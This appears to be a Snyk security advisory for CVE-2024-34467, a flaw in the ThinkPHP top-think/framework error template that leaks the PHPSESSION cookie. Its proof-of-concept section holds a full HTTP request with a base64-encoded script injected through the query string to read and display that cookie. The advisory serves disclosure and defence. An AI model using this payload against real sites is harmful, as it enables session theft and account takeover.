Exposure of Sensitive Information to an Unauthorized Actor Affecting top-think/framework package, versions >=0.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-TOPTHINKFRAMEWORK-6808766
  • published5 May 2024
  • disclosed4 May 2024
  • creditasdf1115qwer

Introduced: 4 May 2024

CVE-2024-34467  (opens in a new tab)
CWE-200  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

Affected versions of this package are vulnerable to Exposure of Sensitive Information to an Unauthorized Actor in think_exception.tpl when handling crafted URIs in GET requests. An attacker can discover the PHPSESSION cookie by triggering an error message that includes this sensitive information.

PoC

GET /?%3Cscript%3Eeval(atob(`ZG9jdW1lbnQucmVhZHlTdGF0ZT09PSdsb2FkaW5nJz9kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJyxmdW5jdGlvbigpe2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2Rpdi5jb2wtbWQtMycpLmZvckVhY2goZGl2PT57aWYoZGl2LnRleHRDb250ZW50LmluY2x1ZGVzKCdQSFBTRVNTSU9OJykpe2FsZXJ0KGRpdi5uZXh0RWxlbWVudFNpYmxpbmcudGV4dENvbnRlbnQudHJpbSgpKTt9fSk7fSk6ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnZGl2LmNvbC1tZC0zJykuZm9yRWFjaChkaXY9PntpZihkaXYudGV4dENvbnRlbnQuaW5jbHVkZXMoJ1BIUFNFU1NJT04nKSl7YWxlcnQoZGl2Lm5leHRFbGVtZW50U2libGluZy50ZXh0Q29udGVudC50cmltKCkpO319KTsK`))%3C/script%3E=1 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSION=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
Connection: close

CVSS Scores

version 3.1